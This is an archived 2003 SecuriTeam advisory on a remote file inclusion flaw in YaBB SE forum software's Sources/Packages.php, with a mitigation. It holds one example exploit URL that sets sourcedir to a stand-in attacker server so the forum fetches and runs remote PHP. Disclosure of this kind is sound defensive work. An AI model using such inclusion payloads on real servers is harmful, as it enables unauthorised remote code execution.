

Securiteam: [NEWS] YaBB SE Remote Code Execution Vulnerability (/Sources)

[NEWS] YaBB SE Remote Code Execution Vulnerability (/Sources)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-01/0059.html>

From: support@securiteam.com

Date: 01/22/03

From: support@securiteam.com

To: list@securiteam.com

Date: 22 Jan 2003 22:05:38 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security would like to welcome Tiscali World Online to our service provider team.

For more info on their service offering IP-Secure, please visit http://www.worldonline.co.za/services/work_ip.asp

YaBB SE Remote Code Execution Vulnerability (/Sources)

SUMMARY

YaBB SE is a PHP/MySQL port of the popular forum software YaBB (yet another bulletin board). A vulnerability in one of the PHP files allows a remote attacker to include a PHP script into the existing PHP pages, causing it to execute. This PHP script can reside on other servers (for example the attacker's server).

DETAILS

Vulnerable systems:

- * YabbSE version 1.5.0 and prior

YaBB SE keeps all of its function includes in a directory called "Sources" which is not protected. Inside this directory a file called Packages.php exists. This file is supposed to be included and not called directly, but if an attacker calls it directly he/she may cause the script to run remote arbitrary code.

Below are a couple of the first lines in Packages.php:

Securiteam: [NEWS] YaBB SE Remote Code Execution Vulnerability (/Sources)

```
.  
  
global $adminplver;  
$Packagesphpver="YaBB SE 1.4.1";  
  
$safe_mode = ini_get("safe_mode");  
  
$pacmanver = "1.4.1";  
  
include_once("$sourcedir/Packer.php");  
  
.
```

We can see here that the variable \$sourcedir is never defined and therefore may be defined through global injection.

Example:

<http://victim/yabbse/Sources/Packages.php?sourcedir=http://attacker/>

Where the attacker server has a file called Packer.php. An attacker may execute remote code on the server with web server permissions.

Side-note:

An attacker may also use this file for XSS attack on the server.

Solution:

Please check the vendor's website for new patches.

As a temporary solution, create a .htaccess file that contains 'Deny from all'. Place it in the /Sources/ directory and that should block remote users from accessing it.

ADDITIONAL INFORMATION

The information has been provided by <mailto:mindwarper@hush.com>
mindwarper.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

Securiteam: [NEWS] YaBB SE Remote Code Execution Vulnerability (/Sources)

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.